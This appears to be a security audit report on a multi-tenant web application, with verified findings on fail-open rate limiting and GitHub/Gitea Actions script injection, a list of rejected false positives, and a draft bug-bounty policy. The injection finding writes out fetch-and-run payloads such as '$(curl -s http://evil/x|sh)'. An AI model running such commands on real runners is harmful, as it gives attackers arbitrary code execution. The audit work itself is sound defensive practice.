I read both cited files end-to-end and traced the data flow. Both /api/leads/capture (apps/web/app/routes/api.leads.capture.tsx:177-209) and /api/embed/forms/:formKey/submit (api.embed.forms.$formKey.submit.tsx:248-278) are public, unauthenticated POST endpoints (no requireAuth/tenant guard — by design). They wrap the sliding-window rate-limit check (store.adapter.eval -> Redis) in try/catch and explicitly fail-open: on any error from getSharedStore()/limiter.consume() the catch only logs a warn and execution falls through to the persistence sink. captureLead.server.ts:57-131 then inserts unbounded Lead/LeadEvent rows; the embed route does formSubmission.create() + publishOutboxEvent (form.submission.process) inside a transaction (lines 322-357), which fans out to the worker/CRM/webhooks. With REDIS_URL set (production), getSharedStore() builds a RedisAdapter (factory.ts:149-156); a Redis outage/degradation makes eval() throw, so the 5/min and 10/min per-IP caps (and the per-email cap) are fully bypassed during the window of failure. Routes are reachable: routes.ts uses createRoutesFromFolders folder-convention, the files are not in defaultDisabledPluginRouteFilePatterns, and both handlers appear in the compiled server build. I actively checked the other listed guards and none neutralize a scripted attacker: Origin allowlist relies on the attacker-controlled Origin header (spoofable by non-browser clients, acknowledged in-code); the honeypot is simply omitted by a script; Turnstile is feature-flag-gated AND requires TURNSTILE_SECRET_KEY/cfg.turnstileEnabled, off by default. Strong corroboration: the sibling authenticated endpoint api.tenants.$tenant.plugins.tsx:79-81 defines shouldFailClosedOnRateLimitInfraFailure() (NODE_ENV === 'production') and its comment (lines 72-75) states this matches the api.leads.capture / api.embed pattern but that production fails closed for plugin writes — i.e. the authors recognized the fail-open risk and gated it for the admin endpoint but NOT for these two public write endpoints. The exploit path is open; it is conditioned on the shared store being unavailable, so it is an abuse/availability bypass rather than a normal-operation bypass.
**Existing mitigations:** Origin allowlist (matchAllowedOrigin) is present but defeatable via spoofed Origin header by non-browser clients (acknowledged in-code); honeypot field is trivially omitted by scripts; optional Cloudflare Turnstile is feature-flag-gated and requires TURNSTILE_SECRET_KEY / cfg.turnstileEnabled (off by default). Payload-size caps and the per-email limiter exist but the latter sits inside the same try block and is bypassed identically. None of these constitute a reliable rate-limit substitute when the shared store fails. No upstream fail-closed gate exists on these two public endpoints (unlike api.tenants.$tenant.plugins.tsx).
---
## 17. [Low] Script injection via untrusted workflow_dispatch inputs in E2E readiness workflows
- **Category:** CI/CD Script Injection | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** high
- **Location:** `.github/workflows/e2e-readiness.yml:161, 165`
- **Data flow:** workflow_dispatch input (workflow_webhook_target_url / subscription_success_path) -> ${{ inputs.* }} textual substitution into a run: shell block -> printf ... >> $GITHUB_ENV
**Exploit scenario**
A user with repo write access (required to start a workflow_dispatch run) supplies a crafted value for workflow_webhook_target_url or subscription_success_path. Because GitHub/Gitea Actions substitutes ${{ inputs.* }} into the script text BEFORE the shell parses it, a value such as $(curl -s http://evil/x|sh) or one containing a newline followed by additional shell/env lines executes arbitrary commands on the runner and can poison $GITHUB_ENV (e.g. inject extra env vars). On the Gitea variant this runs on the self-hosted toolctrl-ci runner, where command execution is more impactful (persistent host, network access to internal Gitea/Coolify). Impact is bounded because workflow_dispatch is only triggerable by already-privileged actors, so this is defense-in-depth against an insider/compromised-write-token rather than an anonymous-attacker path.
**Evidence**
```
printf 'E2E_WORKFLOW_WEBHOOK_TARGET_URL=%s\n' "${{ inputs.workflow_webhook_target_url }}" >> "$GITHUB_ENV"
...
printf 'E2E_TENANT_SUBSCRIPTION_SUCCESS_PATH=%s\n' "${{ inputs.subscription_success_path }}" >> "$GITHUB_ENV"
```
**Recommended fix**
Do not interpolate ${{ inputs.* }} directly inside run: scripts. Bind each input to an env var via an env: block on the step and reference it as a quoted shell variable, e.g.
env:
WEBHOOK_URL: ${{ inputs.workflow_webhook_target_url }}
run: |
printf 'E2E_WORKFLOW_WEBHOOK_TARGET_URL=%s\n' "$WEBHOOK_URL" >> "$GITHUB_ENV"
Additionally validate the value is a single-line https URL (reject newlines/metacharacters) before writing it to $GITHUB_ENV. Apply the same fix to the identical block in .gitea/workflows/e2e-readiness.yml (lines 172 and 176).
**Verifier notes**
I read both workflow files in full and confirmed the cited sink exactly. In .github/workflows/e2e-readiness.yml lines 161 and 165 (and identically .gitea/workflows/e2e-readiness.yml lines 172 and 176) two workflow_dispatch inputs declared as type: string -- workflow_webhook_target_url (lines 32-36) and subscription_success_path (lines 42-46) -- are interpolated as ${{ inputs.* }} directly into a run: shell block: printf 'E2E_WORKFLOW_WEBHOOK_TARGET_URL=%s\n' "${{ inputs.workflow_webhook_target_url }}" >> "$GITHUB_ENV". GitHub/Gitea Actions performs this as textual substitution into the script source BEFORE the shell parses it, which is the canonical Actions script-injection pattern. Because the value lands inside double quotes, a payload using $(...) command substitution executes (command substitution runs inside double quotes), and a literal double-quote or newline in the value breaks out of the quoting entirely -- e.g. a value of "; curl -s http://evil/x | sh; echo " or $(id) yields arbitrary command execution on the runner and can also poison $GITHUB_ENV with extra lines. I searched the entire repo (grep across yml/ts/js/sh) for any validation of these two inputs and found NONE: the only input-validation present is the node -e isIP() check at .gitea lines 117-120, which guards the unrelated vars.TOOLCTRL_GITEA_HOST_IP value, not these user inputs. The boolean gates workflow_webhook_run / subscription_success (type: boolean, constrained to true/false) do not mitigate because the same actor controls them and trivially sets them true. The downstream consumers (tests/e2e/subscription-smoke.spec.ts, workflow-builder-run.mobile-a11y.spec.ts) only read the resulting env var and are irrelevant -- injection happens at the YAML-to-shell substitution step before any test runs. The one genuine bound, correctly stated by the finder, is that workflow_dispatch is only triggerable by an actor with repo write access, so this is defense-in-depth against an insider or compromised write-scoped token rather than an anonymous-attacker path. On the Gitea variant it runs on the self-hosted toolctrl-ci runner (persistent host, internal network reach to Gitea/Coolify), raising blast radius if exploited. The exploit path is open and the finding is accurate; severity Low is appropriate given the write-access precondition.
**Existing mitigations:** None found. No input validation, allowlist, sanitizer, or env-binding exists for workflow_webhook_target_url or subscription_success_path. The only validation in the workflow (isIP on TOOLCTRL_GITEA_HOST_IP, .gitea lines 117-120) guards an unrelated vars value. The only real bound is the trigger precondition: workflow_dispatch requires repo write access, so the attacker must already be privileged (insider / compromised write token).
---
# False positives (filtered out by verification)
- **API refresh-token/logout verify JWTs without pinning the algorithm** (Authentication & Session Management)
- Confirmed the cited code: apps/api/src/routes/auth-routes.ts:94 (refresh-token) and :135 (logout) call jwt.verify(token, secret) with no { algorithms } option, while apps/hocuspocus/src/extensions/auth.ts:79-82 correctly pins algorithms:["HS256"]. The code-level observation is accurate, but there is NO open exploit path under the current configuration: (1) jwtSecret is typed as a plain string symmetric secret in packages/config/src/types.ts:143 and loaded from JWT_SECRET via present(env.JWT_SECRET) in packages/config/src/api.ts:68; grep across apps/api/src finds zero asymmetric keys (no RS256/ES256/publicKey), so alg-confusion (signing an HS256 token using a leaked public key as the HMAC secret) is impossible — there is no public key in play. (2) The library is jsonwebtoken ^9.0.0 (apps/api/package.json:43), which rejects alg:"none" unless "none" is explicitly listed in algorithms; since no algorithms array is passed at all, unsigned tokens are rejected by the v9 default. (3) Login signs HS256 by default (line 77) and forging any accepted token still requires knowledge of JWT_SECRET, which unpinned algorithms does not change. The finder explicitly acknowledges it is "not exploitable today" and frames it as defense-in-depth against a hypothetical future asymmetric-key introduction or library default change — that is a theoretical condition with no current attacker path, which the rubric classifies as a false positive (non-exploitable). The recommended fix (pass { algorithms: ["HS256"] }) is valid, trivial hardening worth applying to match the existing hocuspocus pattern, but it does not mitigate any current vulnerability.
- **extraFilters strings are concatenated verbatim into Meilisearch filter expressions** (SQL / Command / ORM / Template Injection)
- Confirmed the code facts: buildFilter (packages/search/src/query.ts:155,158) concatenates extraFilters verbatim with no escaping. Of the two real callers, rowSearch.server.ts:127 escapes its value (escapeFilterValue) and is safe; kbArticleSearch.server.ts:86 interpolates input.language RAW into `language = "${input.language}" AND isPublished = true`. I then traced input.language to attacker control: KnowledgeBaseService.search (line 547) sets language = params.lang || kb.defaultLanguage, and params.lang comes from the optional ($lang) URL segment in routes/docs/($lang)*.tsx and routes/help/$slug.($lang)*.tsx — fully attacker-controlled. So the raw-interpolation site is genuinely fed by URL input.
However, every reachable path to that sink is closed before runtime injection:
1) Index route (KbRoutes.Index.Api.tsx:24-26) applies an explicit allowlist — if params.lang is present and not in KnowledgeBaseUtils.supportedLanguages (["de","en"], no Meili filter metacharacters) it throws Response 404 BEFORE calling search. Injection blocked outright.
2) Article route (KbRoutes.Article.Api.tsx:35,42) calls getArticle first; getArticle (service line 266-273) does getKbArticleBySlug filtered by the supplied language. A malicious lang string matches no stored article (real languages are "de"/"en"), so item is null and the loader throws redirect at line 42 before search runs.
3) Category route (KbRoutes.Category.Api.tsx:22,30) calls getCategory first; getCategory (service line 411-417) filters getKbCategoryBySlug by language, returns null for a bogus value, loader redirects at line 30 before search runs.
Additionally search only reaches extraFilters when MEILI_URL is set AND tenantId resolves; otherwise it uses the SQL fallback which ignores the filter string.
So there is no open attacker path to the Meilisearch filter sink. The finder explicitly conceded this ("There is no attacker path through this function in isolation; it is a defense-in-depth/API-hardening gap"). The residual is exactly that: a fragile API contract where buildFilter trusts callers to escape, and kbArticleSearch already omitted escaping for language. Only the incidental short-circuit of language-filtered DB lookups (Article/Category) plus the Index route's allowlist prevent exploitation. That is a legitimate Low hardening concern, not an exploitable injection today.
- **Missing global security headers (no CSP, X-Frame-Options, X-Content-Type-Options)** (XSS, Output Encoding & Open Redirect)
- The finder looked only at apps/web/app/entry.server.tsx and concluded security headers are "not applied anywhere global." That premise is factually wrong. The production server is NOT entry.server.tsx — pnpm start runs apps/web/build/server-runtime/server.js, which is the esbuild bundle of /Users/raffaelsheikh/Documents/GitHub/boilerplate/server/server.ts (entry point set in scripts/build-web-server.mjs; start script confirmed in apps/web/package.json: "node ../../build/server-runtime/server.js").
That server wraps EVERY response. server/server.ts:228 calls appendWebSecurityHeaders(res) inside sendWebResponse for all React-Router and API responses, and server/server.ts:301 calls it inside getStaticHeaders for every static asset. appendWebSecurityHeaders (lines 242-251) sets, on every response:
- Content-Security-Policy: base-uri 'self'; object-src 'none'; frame-ancestors 'self'
- X-Content-Type-Options: nosniff
- Referrer-Policy: strict-origin-when-cross-origin
- X-Frame-Options: SAMEORIGIN
- Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
- Cross-Origin-Opener-Policy / Cross-Origin-Resource-Policy: same-origin
- Strict-Transport-Security (when webConfig.routing.protocol === "https", line 253-255)
This is covered by server/server.test.ts (tests at lines 44-67 assert each header and that they apply to forwarded responses AND static assets).
Each of the finder's three concrete exploit claims is therefore refuted by code that actually runs in prod:
- Clickjacking of /app/:tenant: X-Frame-Options: SAMEORIGIN + frame-ancestors 'self' are set globally. FALSE.
- MIME sniffing of user-uploaded content: X-Content-Type-Options: nosniff is set globally including on static assets. FALSE.
- Missing Referrer-Policy: set globally. FALSE.
One nuance, in fairness to the finder: the global CSP is PARTIAL — it has base-uri/object-src/frame-ancestors but NO script-src or default-src. So it provides no script-injection defense-in-depth. But (a) the finder explicitly claimed "no Content-Security-Policy ... applied globally," which is false, and (b) this residual gap only matters if a separate, independently-proven XSS exists; the finder's "any of the XSS vectors above" is not substantiated in this finding and there is no standalone exploit here. A hardened script-src is a reasonable improvement, not the reported "missing global security headers" vulnerability.
Note also a benign interaction: the embed.forms route sets x-frame-options: ALLOWALL (embed.forms.$formKey.tsx:60), but appendWebSecurityHeaders only skips re-setting CSP when present (server.ts:258) and unconditionally setHeader()s X-Frame-Options back to SAMEORIGIN — i.e. it makes the posture MORE restrictive (likely a functional bug for the embed feature), not less. This is the opposite of a security weakness.
- **Marketing outbound adapter SSRF guard omits DNS resolution (literal-hostname only)** (SSRF, Webhooks & Signature Verification)
- The technical defect is real and accurately described: isOutboundUrlAllowed (packages/marketing-outbound/src/types.ts:135-152) validates only the literal URL hostname string against localhost/RFC1918/169.254/metadata suffixes and never resolves DNS, so adapterFetch (line 107) would fetch a tenant-supplied URL whose public-looking hostname resolves/rebinds to an internal/metadata IP. The house-standard hardened helper packages/foundation/src/outbound-http.ts does the correct thing (dns.lookup with all:true plus a resolved-address block at lines 122-136), confirming the adapter diverges from the safe pattern. HOWEVER, there is no attacker-reachable path at runtime. I confirmed @toolctrl/marketing-outbound is imported by exactly one non-test source file (apps/worker/src/jobs/marketing-outbound.ts), and that handler is never imported, bootstrapped, or wired to a queue in apps/worker/src/index.ts (zero 'marketing' references there; no createWorker/Queue/bootstrap). runMarketingOutboundJob is called only from *.test.ts files. The module exports MARKETING_OUTBOUND_ACTIVE_SUBSCRIBER = false and its own docstring states it 'does not claim or bootstrap' a queue and that a future subscriber must add its own bootstrap. Tenant config (custom-webhook config.url, slack/discord config.webhookUrl) is attacker-controllable in principle, but no HTTP route or queue subscriber can ever invoke the adapter today. This is latent/dead code, exactly as the finder honestly disclosed (self-rated Low, 'currently NOT live'). No current exploit path exists, so for present exploitability this is a false positive; the finder did not overclaim.
- **Hardcoded default HMAC secret for legacy API-key hashing falls back silently when env unset** (Secrets, Cryptography & Config Exposure)
- The finding's premise — "if an operator never sets the per-deploy hash secret, the public default is used silently" — does not hold against the actual wiring.
1) There is NO dedicated API_KEY_HASH_SECRET. Every live caller of the hashing functions sources the secret from JWT_SECRET via config loaders:
- apps/api/src/routes/shared.ts:258, apps/api/src/routes/auth-routes.ts:178, apps/api/src/usage/usage-route.ts:29 -> getApiRuntimeConfig()/config.jwtSecret (loadRequiredApiConfig, apps/api/src/config.ts:6).
- apps/web/app/utils/services/apiService.ts:94 -> config.jwtSecret; and apps/web/app/utils/db/apiKeys.db.server.ts:196,251,272 -> getApiKeyHashSecret() = loadRequiredWebConfig().jwtSecret.
2) JWT_SECRET fails closed. In packages/config/src/catalog.ts:127-134 it is classification "required-per-app" with requiredInProduction:true and no defaultValue. getRequiredEnvVariableNames (packages/config/src/index.ts:113 and :118) adds it to the required set in EVERY NODE_ENV (line 113 fires because there is no defaultValue) and again in production (line 118). validateEnv then reports it missing, and loadRequiredWebConfig (packages/config/src/web.ts:32-39) / loadRequiredApiConfig (packages/config/src/api.ts:27-34) THROW WebConfigError/ApiConfigError before any API-key operation runs. So config.jwtSecret can never be empty in a real deployment — the normalizeLegacyApiKeyHashSecret fallback to DEFAULT_LEGACY_API_KEY_HASH_SECRET (api-keys.server.ts:323-324) is unreachable on every authenticated path.
3) The only call site that passes NO secret — getApiKey at apps/web/app/utils/db/apiKeys.db.server.ts:156-161, which would use the default — has ZERO callers anywhere in apps/web, apps/api, or packages (verified by grep). It is dead/legacy code, not an authentication path.
4) The finder itself concedes the default cannot be used to forge or guess keys (the real secret is the random UUID key the attacker must already possess). The residual "cross-deployment hash correlation" risk requires the default to actually be in use, which it never is given the failing-closed JWT_SECRET. The finder's own recommendation (dedicated secret, requiredInProduction=true, fail closed) is already effectively satisfied by JWT_SECRET.
No attacker-controlled input reaches an exploitable sink, and the operational-hygiene premise is invalidated by the production-required, fail-closed config loaders.
- **Row media stored under non-tenant-namespaced key/bucket** (File Uploads, Storage, Path Traversal, Import/Export)
- I read MediaService.ts (lines 5-87), storageService.ts (putBufferAsFile/deleteFile), the storage access guard (packages/storage/src/access/index.ts), the Prisma schema (Entity, RowMedia), and the callers in rows.db.server.ts. The cited code is real: row media is stored at bucket=entity.name, key=media.id+"-"+media.name with no tenants/<tenantId>/ prefix. But there is no open exploit path.
Two premise corrections: (a) Entity.name is @unique globally and Entity has no tenantId — entities are global schema definitions shared by all tenants, so names cannot "collide across tenants"; the bucket is simply a single global namespace per entity. (b) media.id is a server-generated CUID (@default(cuid())), not attacker-controlled and not enumerable.
Why the storage-layer guard would add nothing here: authorizeStorageObjectAccess protects surfaces (import dry-run/submit, worker) where the USER supplies a storage object key (sourceKey) in a follow-up request — the guard stops a user referencing another tenant's key. Row media has no equivalent attacker-supplied key step. The store happens server-side during tenant-scoped row create/update (rows.db.server.ts:443-445, RowsApi.ts:565), and the resulting publicUrl is persisted on RowMedia, which is reachable only through Row reads. Every row read is tenant-scoped: getRow/getRowById/getRows/getRowsInIds all filter by tenantId via getAccessFilters / TenantHelper.tenantCondition. There is no route that serves row media by raw bucket/key (grep for getObject/download in app/routes returned nothing). So the actual access control (tenant-scoped DB reads) is intact, and the guard the finder wants to add guards against an attack vector that does not exist for this path.
The hypothetical 'public bucket / predictable id' leak is also not closed by the proposed fix: the S3 putObject sets no ACL: public-read (objects are private by default), and a misconfigured public bucket would leak objects regardless of any tenants/<id>/ key prefix. So even the recommendation wouldn't mitigate the only scenario the finder gestures at.
The finder explicitly concedes this is "a defense-in-depth/consistency gap rather than a directly demonstrated cross-tenant read." That self-assessment is correct: it is a legitimate low-value consistency/hardening nit, not an exploitable vulnerability with an attacker-reachable path.
- **SVG/icon allowed for media library uploads enabling potential stored XSS if served inline** (File Uploads, Storage, Path Traversal, Import/Export)
- The allow-list claim is accurate: packages/storage/src/scan/allow-list.ts:18 includes "image/svg+xml" for mediaLibrary, and packages/storage/src/scan/magic-bytes-adapter.ts:64-66 promotes a declared SVG with SVG-looking content to a "clean" verdict with NO sanitization (no DOMPurify/strip-scripts). However, stored XSS requires the SVG to be served INLINE as an HTML document on a first-party origin, and that sink does not exist. (1) Every real mediaLibrary-context caller is an authenticated admin/tenant-admin branding surface (portals.$portal/settings.tsx, __widgets/widgets/$id.tsx, admin/settings/general.tsx — all forcing .png/.ico ids), not a generic tenant media library; the actual entity/row "media" path goes through MediaService.ts -> putBufferAsFile which never runs the mediaLibrary allow-list at all. (2) All rendering of uploaded media is via <img src=...>: PreviewMediaModal.tsx:58, InputMedia.tsx:218-220, RowMediaCell.tsx:29 — SVG loaded through an <img> tag is script-inert and embedded <script>/event handlers never execute. There is NO dangerouslySetInnerHTML, <object>, <iframe>, or <embed> rendering of uploaded media anywhere. (3) There is no /storage/* loader and no express.static/sirv mount on the app origin; objects are served via publicUrl built from STORAGE_PUBLIC_BASE_URL (CDN/S3, separate origin) or STORAGE_LOCAL_PUBLIC_BASE_URL in packages/storage/src/index.ts:433-445. The finder explicitly conceded exploitability is "not confirmed end-to-end"; tracing it end-to-end shows the inline-on-first-party sink is absent. Residual risk is purely defense-in-depth and depends on out-of-code storage-origin/CSP configuration, not on any reachable path in this repo.
- **MCP SSE transport sessions are not bound to the authenticating user** (Plugin Runtime, Code Execution, MCP, Formulas & AI Tools)
- The reported endpoint is not HTTP-reachable, and even if it were, it exposes no sensitive operation today. Two independent facts confirm this:
(1) Route is disabled/unregistered. The only definition of the /mcp loader+action is apps/web/app/routes/mcp/index.ts. In apps/web/app/routes.ts, `mcp/**` is listed in `defaultDisabledPluginRouteFilePatterns` (line 43) and that array is spread into `ignoredFilePatterns` at line 49. The folder-route compat loader (apps/web/app/utils/compat/v1-route-convention.ts) skips any matched file: the visitor returns early at lines 79-81, and `matchesIgnoredFilePattern` (lines 33-36) treats `mcp/**` as matching any file whose normalized path === "mcp" or starts with "mcp/", which includes mcp/index.ts. So the route module is never added to the route table — there is no /mcp loader or action mounted at runtime. This is corroborated by apps/web/app/utils/app/PublicRouteSegments.test.ts:35-41, which asserts `isWebRoutePath("/mcp") === false` (explicitly classified as a disabled/plugin-owned, non-routable tree). The chatbot's own attempt to use /mcp as a client (apps/web/app/modules/chatbot/lib/tenant-chat-action.server.ts:54-63) is wrapped in try/catch and degrades to zero MCP tools when the route is absent, further confirming the surface is dormant.
(2) No sensitive sink even if reachable. The only registered MCP tool is `healthcheck` (apps/web/app/modules/mcp/mcp-tools.server.ts:11-32): empty input schema (z.object({})), returns only a static status/version/timestamp, reads no tenant data, performs no state change. registerMcpToolForChatbot/addToolRegistrar are not invoked anywhere in app code (grep found no callers beyond the definition). So even if an attacker reached the action with a guessed sessionId, the worst they could do is drive a JSON-RPC handshake against a stateless healthcheck — no cross-user/cross-tenant data exposure and no privileged action.
The session-binding gap the finder describes is real as written (transports keyed solely by client-supplied sessionId, no userId/tenantId association in apps/web/app/modules/mcp/mcp.server.ts:34-50), but it is latent: the finder themselves conceded it only becomes exploitable "if a tenant-scoped or privileged MCP tool is registered later." With the route ignored and only a no-op tool registered, there is no open exploit path today.
- **Workflow start/trigger/continue-start endpoints accept caller-supplied tenantId with no per-tenant authorization beyond the shared proxy HMAC** (API Input Validation, CSRF, Rate Limiting, Mass Assignment, Info Disclosure)
- I traced the full data flow and the finder's central premise — that these three endpoints are uniquely weaker than their siblings (run/continue/executions) which "derive tenant from an authenticated API key" — is incorrect.
(1) Reachability is gated. All three actions call requireInternalWebApiProxyRequest(request) as the first statement (workflows.executions.$id.start.tsx:31, workflows.trigger.$id.tsx:44, workflows.executions.$id.continue.start.tsx:31). That guard (internalWebApiProxy.server.ts:8-12) returns 404 unless the request carries header x-toolctrl-internal-web-api-proxy:1 AND a valid HMAC-SHA256 signature over `METHOD\n{pathname}{search}` keyed on API_ACCESS_TOKEN, compared with timingSafeEqual. The auth test file confirms forged and direct (unsigned) calls are rejected with 404 before any side effect (workflows.api-auth.test.tsx:559-567). So tenantId is NOT reachable by any party who does not already possess API_ACCESS_TOKEN.
(2) The claimed asymmetry with the siblings does not exist. The siblings call getWorkflowApiKeyFromRequest -> validateApiKey (apiService.ts:306-313, 158-213). The worker is the only real caller and it authenticates with X-Api-Key: API_ACCESS_TOKEN (workflow-trigger-http-executor.ts:66). For that service-token, validateApiKey takes the branch at apiService.ts:198-207, where the tenant is resolved from getServiceTenantScopeFromRequest — which reads the SAME caller-supplied ?tenantId / X-Tenant-Id / X-Account-Id values (apiService.ts:132-141) and performs NO membership check (just findLegacyTenantByIdOrSlug). So the siblings trust caller-supplied tenant scope exactly as much as the three cited endpoints once the shared service token is presented. The per-tenant stored-API-key path (validateTenantApiKey) is a different code path the worker never uses, and it actually rejects requests that carry tenantId/X-Tenant-Id (apiService.ts:209-211). The trust boundary is identically the single shared API_ACCESS_TOKEN in both groups.
(3) The 'X-Tenant-Id header not covered by the HMAC' sub-claim has no independent exploit. The worker always sets ?tenantId= in the URL (workflow-trigger-http-executor.ts:51), which IS part of the signed canonical string (pathname+search). getTenantId prefers the signed query param over the header (`searchParams.get('tenantId') || headers.get('X-Tenant-Id')`). To reach the unsigned-header fallback an attacker must omit the query param and still produce a valid signature, which requires the secret. Tampering the header alone changes nothing because the signed query param wins. The test at workflows.api-auth.test.tsx:582-607 shows the header path is a deliberate, supported fallback, not an oversight.
(4) Containment: these are disabled-by-default plugin routes (routes.ts:42 defaultDisabledPluginRouteFilePatterns 'internal/api/__workflows/**') and additionally listed as disabled admin host-route prefixes (HostRouting.server.ts:260).
Net: the described scenario reduces to 'a party holding the shared internal service secret can act on any tenant', which is the intended design of an internal worker->web service bridge, is identical for the siblings, and is unreachable without that secret. No mitigation gap distinguishes these endpoints, and there is no exploit path for an attacker who does not already hold API_ACCESS_TOKEN.
- **Internal workflow error messages are returned near-verbatim to the proxy caller** (API Input Validation, CSRF, Rate Limiting, Mass Assignment, Info Disclosure)
- The cited sink (redactWorkflowApiErrorMessage in apps/web/app/routes/internal/api/__workflows/workflowApiErrors.server.ts:35-49) does echo raw Error.message after stripping only credential substrings, including for status>=500. But the claimed exploit path to an attacker is closed.
(1) Every consumer route (workflows.run.$id.tsx:9, workflows.trigger.$id.tsx, workflows.stream.$executionId.tsx:11, workflows.executions.$id*.tsx, etc.) calls requireInternalWebApiProxyRequest(request) as its FIRST statement. That guard (apps/web/app/utils/api/internalWebApiProxy.server.ts:8-12) throws Response 404 unless the request carries header x-toolctrl-internal-web-api-proxy:1 AND a valid HMAC-SHA256 signature over METHOD\npath?query keyed with the server secret apiAccessToken/API_ACCESS_TOKEN (timing-safe compared). An external or tenant-scoped attacker cannot forge this. The auth test workflows.api-auth.test.tsx explicitly proves direct calls (lines 526-537) and forged-signature calls (539-567, plus it.each over all 7 routes 559-567) are rejected with 404 before any side effect.
(2) The only legitimate 'proxy caller' is the internal worker (apps/worker/src/jobs/workflow-trigger-http-executor.ts), a server-to-server caller that holds the secret. The error body it receives is consumed in workflow-trigger.ts:263-277 — logged or rethrown into the queue machinery — NOT returned to any external HTTP client. The public API app (apps/api) does not reference workflows at all (grep found zero non-test hits), so the finder's claim that the result is 'surfaced back through the public workflow run/trigger flows' to a tenant is unfounded.
(3) Secondary channel (tenant-readable apiKeyLog.error surfaced in ApiKeyLogsTable.tsx / ApiKeyLogsDetails.tsx) does not apply in the real flow: the worker authenticates with X-Api-Key = service apiAccessToken, which validateApiKey (apiService.ts:198-208) resolves to { tenant } with NO tenantApiKey/apiKeyLog. getWorkflowApiKeyFromRequest therefore returns apiKeyLog: undefined, and setWorkflowApiKeyLogStatus early-returns (apiService.ts:320-322), persisting nothing to a tenant-visible log. A tenant cannot drive a stored-tenant-API-key validation through this bridge because reaching the handler still requires the HMAC signature the worker never lends out.
Net: the verbatim error is disclosed only to the trusted internal worker and server-side logs, not to an attacker. No open exploit path.
+116
View File
@@ -0,0 +1,116 @@
# Bug-Bounty Program (Foundation)
This document is the operator-side foundation for a future bug-bounty program. It defines the scope, severity table, exclusions, and payout-mechanism so that the program can be turned on with a single operator decision, without rewriting the policy at that time.
> **Status:** **planned — not yet active.**
>
> Until the program is activated, vulnerability reports remain eligible for the [coordinated-disclosure hall of fame](./vulnerability-disclosure.md#9-hall-of-fame) and thank-you swag at the operator's discretion. We do not commit to monetary rewards prior to activation.
## 1. Activation criteria
Before the program can be marked **active** the operator must:
- [ ] Confirm legal review of this document with counsel (jurisdiction, tax, anti-fraud, contract-with-researcher template)
- [ ] Confirm payout-mechanism (SEPA, PayPal, optional cryptocurrency) and KYC requirements (see [§6](#6-payout-and-kyc))
- [ ] Confirm budget envelope (per finding cap and quarterly cap)
- [ ] Confirm internal IR-team capacity (triage SLA listed in [`vulnerability-disclosure.md`](./vulnerability-disclosure.md#6-response-sla) is sustainable)
- [ ] Replace the "planned — not yet active" banner above with the activation date
- [ ] Update `.well-known/security.txt` `Policy` field to reference this document
- [ ] Publish an announcement on the operator's public security page
## 2. Scope
Scope is identical to the [`pen-test-scope.md`](./pen-test-scope.md) in-scope / out-of-scope list. The reporter is responsible for confirming an asset is in scope before testing.
**Out-of-scope vulnerability classes** (in addition to the asset-level out-of-scope list):
- Self-XSS that requires the victim to paste attacker-controlled JavaScript into their own browser
- Social engineering, phishing, vishing, smishing
- Physical-security findings
- Findings against unsupported / end-of-life software versions
- Volumetric DoS, slow-loris, or any test that requires sustained traffic
- Missing security headers without a concrete exploit path
- "Missing best-practice" findings without a demonstrated impact (e.g. "you don't use HSTS-preload")
- SPF / DKIM / DMARC misconfigurations that don't produce a deliverable spoof PoC
- Username / email enumeration on documented public-discovery surfaces (e.g. password reset, signup)
- Rate-limit thresholds (unless the threshold is so high that it enables a meaningful attack)
- Vulnerabilities in third-party providers we use (Stripe, Mailjet, etc.) — please report directly to the provider
- CSRF on logout or other low-impact GET-tolerant routes
- Use of a known-vulnerable library version where the vulnerable function is not invoked by our codepath (SBOM is published — see [`sbom.md`](./sbom.md))
## 3. Severity table and reward tiers
Severity is determined by the operator using CVSS 3.1 and the operator severity bucket. Reward tiers are **examples**; final amounts are set per finding by the operator and are bounded by the activation budget envelope.
| Severity (operator bucket) | CVSS 3.1 | Example impact | Example reward |
| --- | --- | --- | --- |
| **P0 / Critical** | 9.0–10.0 | Remote code execution, cross-tenant write at scale, mass PII exfiltration, key compromise | up to €5,000 |
| **P1 / High** | 7.0–8.9 | Cross-tenant read of sensitive fields, authentication bypass, server-side request forgery to internal metadata | up to €2,000 |
| **P2 / Medium** | 4.0–6.9 | Privilege escalation within a tenant, IDOR returning non-sensitive fields, stored-XSS with limited persistence | up to €500 |
| **P3 / Low** | 0.1–3.9 | Low-impact information disclosure, minor authorisation gaps, CSP-bypass without exploit path | up to €100 |
| **Informational** | 0.0 | Hardening suggestion, documentation gap | Hall-of-fame credit (no monetary reward) |
**Modifiers**:
- **Chain bonus**: if a chain of findings demonstrably escalates severity, the operator may award the highest tier in the chain rather than the sum of tiers.
- **Quality bonus**: high-quality reports with deterministic PoC, working patch suggestion, and tests may receive a quality bonus of up to 50 % of the tier.
- **First-reporter only**: only the first reporter of a unique vulnerability is eligible for a reward. Duplicates receive hall-of-fame credit if quality-reported.
- **No-reward conditions**: findings that violate [§2 out-of-scope](#2-scope) or [§5 exclusions](#5-exclusions) receive no monetary reward.
## 4. Eligibility
A reporter is eligible if **all** of the following are true:
- The reporter is not employed by the operator and is not a contractor with access to the affected system at the time of the finding
- The reporter is not on a sanctions list (OFAC, EU, UN, UK)
- The reporter is at least 18 years old (or has a guardian's signed consent on file)
- The reporter has not breached the safe-harbor terms of [`vulnerability-disclosure.md`](./vulnerability-disclosure.md#5-safe-harbor)
- The reporter agrees to the operator's reporter agreement (provided at activation)
- The reporter is willing to complete the KYC step before payout (see [§6](#6-payout-and-kyc))
## 5. Exclusions
The program does **not** apply to:
- Findings produced by automated scanners without a reproducible PoC
- Findings derived from access obtained through a non-public method (e.g. leaked credentials, insider information)
- Findings that the reporter has previously disclosed publicly without an embargo
- Findings against pre-release branches, feature-flag-gated unreleased features, or local development environments
## 6. Payout and KYC
At activation the operator will offer **at least one** of the following payout mechanisms:
- SEPA bank transfer (EUR)
- PayPal (EUR, USD)
- Optionally: cryptocurrency (USDC on a major chain — operator-selected at activation)
KYC requirements (regardless of payout mechanism):
- Government-issued ID (passport or national ID card)
- Address proof (utility bill or bank statement, ≤ 3 months old)
- Sanctions screening (handled by the operator)
- Tax form completion as required by the reporter's jurisdiction (W-8BEN / W-9 / equivalent)
KYC artifacts are processed by the operator's finance partner under a data-processing agreement (DPA) and are retained for the period required by the operator's tax jurisdiction. Reporters may request deletion of KYC artifacts after the retention period.
## 7. Anti-abuse
- The operator may refuse a reward to any reporter who has previously made bad-faith reports, repeated duplicates, or extortion attempts.
